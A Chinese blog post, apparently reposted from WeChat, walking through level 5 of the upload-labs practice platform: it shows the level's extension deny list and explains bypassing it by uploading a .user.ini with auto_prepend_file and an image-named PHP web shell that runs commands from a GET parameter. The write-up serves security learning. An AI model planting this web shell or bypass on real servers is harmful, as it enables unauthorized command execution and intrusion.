大家好!我是一个热衷于分享IT技术的up主。在这个公众号里,我将为大家带来最新、最实用的技术干货,从编程语言到前沿科技,从软件开发到网络安全。希望通过我的分享,能够帮助更多的小伙伴提升技术水平,共同成长!欢迎关注,一起探索科技的魅力吧!
关卡介绍
upload-lab
是一个用于练习文件上传漏洞的演练平台。在第五关中,我们将探索如何利用 .user.ini
文件包含漏洞来攻破这一关卡。此关卡的核心在于利用PHP的 user_ini
文件特性绕过安全检查,最终实现恶意代码执行。
以下第5关的核心代码:
is_upload =
false
;
$msg =
null
;
if
(
isset
($_POST[
'submit'
])) {
if
(file_exists(UPLOAD_PATH)) {
$deny_ext =
array
(
".php"
,
".php5"
,
".php4"
,
".php3"
,
".php2"
,
".html"
,
".htm"
,
".phtml"
,
".pht"
,
".pHp"
,
".pHp5"
,
".pHp4"
,
".pHp3"
,
".pHp2"
,
".Html"
,
".Htm"
,
".pHtml"
,
".jsp"
,
".jspa"
,
".jspx"
,
".jsw"
,
".jsv"
,
".jspf"
,
".jtml"
,
".jSp"
,
".jSpx"
,
".jSpa"
,
".jSw"
,
".jSv"
,
".jSpf"
,
".jHtml"
,
".asp"
,
".aspx"
,
".asa"
,
".asax"
,
".ascx"
,
".ashx"
,
".asmx"
,
".cer"
,
".aSp"
,
".aSpx"
,
".aSa"
,
".aSax"
,
".aScx"
,
".aShx"
,
".aSmx"
,
".cEr"
,
".sWf"
,
".swf"
,
".htaccess"
);
$file_name = trim($_FILES[
'upload_file'
][
'name'
]);
$file_name = deldot($file_name);
//删除文件名末尾的点
$file_ext = strrchr($file_name,
'.'
);
$file_ext = strtolower($file_ext);
//转换为小写
$file_ext = str_ireplace(
'::$DATA'
,
''
, $file_ext);
//去除字符串::$DATA
$file_ext = trim($file_ext);
//首尾去空
if
(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES[
'upload_file'
][
'tmp_name'
];
$img_path = UPLOAD_PATH.
'/'
.$file_name;
if
(move_uploaded_file($temp_file, $img_path)) {
$is_upload =
true
;
}
else
{
$msg =
'上传出错!'
;
}
}
else
{
$msg =
'此文件类型不允许上传!'
;
}
}
else
{
$msg = UPLOAD_PATH .
'文件夹不存在,请手工创建!'
;
}
}
在观察源码后,发现源码中将所有可解析的文件后缀名都明确列出,包括大小写转换、空格和点号等处理。因此,无法正常上传PHP
类文件,并且 .htaccess
文件的上传也被拒绝。然而,通过仔细检查,发现有两个后缀名没有被限制,它们是 .php7
和 .ini
。
关于user.ini
从 PHP 5.3.0 开始,PHP 支持每个目录使用 .user.ini
文件,这类似于 Apache 的 .htaccess
文件。这种文件只会被 CGI/FastCGI
模式的 PHP
处理,因此 PECL
的 htscanner
扩展就不再需要了。如果你使用 Apache
服务器,可以通过 .htaccess
文件实现相同的效果。
除了主配置文件 php.ini
之外,PHP
还会在每个目录中查找 .user.ini
文件,从执行的 PHP 文件所在目录一直向上查找,直到找到 web 根目录(由 $_SERVER['DOCUMENT_ROOT']
指定)。如果 PHP 文件在 web 根目录之外,只会扫描该目录。
在 .user.ini
文件中,只能使用具有 PHP_INI_PERDIR
和PHP_INI_USER
模式的配置指令。
有两个新的配置指令控制 .user.ini
文件的使用:
-
user_ini.filename
:设置 PHP 在每个目录中查找的文件名。如果设置为空字符串,PHP 就不会查找这些文件。默认值是.user.ini
。 -
user_ini.cache_ttl
:控制重新读取.user.ini
文件的时间间隔。默认是 300 秒(5 分钟)。
.user.ini
文件中的配置会像 php.ini
中的配置一样被 PHP 处理,这可能会导致文件解析漏洞。要触发 .user.ini
解析漏洞,需要满足以下三个条件:
-
服务器使用
PHP
作为脚本语言。 -
服务器运行在
CGI/FastCGI
模式下。 -
上传目录中有可执行的
PHP
文件。
解法步骤
-
编写 .user.ini
文件
首先,我们需要创建一个 .user.ini
文件,以指示服务器在每个请求前包含我们的 666.jpg
文件。创建一个名为 .user.ini
的文件,内容如下:
auto_prepend_file=666.jpg
该配置将使得 666.jpg
在每个PHP
请求前自动包含。
-
编写恶意 PHP文件
接下来 ,我们需要一个包含恶意代码的PHP文件。这个文件将在 .user.ini
被解析后自动被包含并执行。创建一个名为 666.jpg
的文件,内容如下 :
<?php
echo
shell_exec($_GET[
'pass'
]);
?>
-
上传文件
先将.user.ini
文件上传到服务器,接着,再将666.jpg
上传到服务器。
user_ini
文件受到user_ini.cache_ttl
这个参数影响,这里有两个选择
慢慢的等候5分钟,再去访问 直接进去修改 php-ini
配置文件
把这里的300秒(即默认等5分钟)改为10
修改后保存
php.ini
文件并重启服务,静心等候10秒后再进行下一步操作。
-
访问并执行
根据关卡5的提示,upload
目录中存在一个readme.php
,如下图所示:
我通过访问这个readme.php
文件,去触发自己上传的脚本文件。该请求将执行 id
命令,并显示当前用户详细信息。如图所示:
总结
在upload-lab的第五关中,我们利用 .user.ini
文件的特性,成功绕过了服务器的安全检查并执行了恶意代码。这种攻击方式主要依赖于对 PHP 配置文件的理解和巧妙利用,为安全研究人员提供了一个有趣且实用的学习案例。
原文始发于微信公众号(攻城狮成长日记):Upload-Lab第5关:如何巧妙利用.user.ini配置文件绕过黑名单验证
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论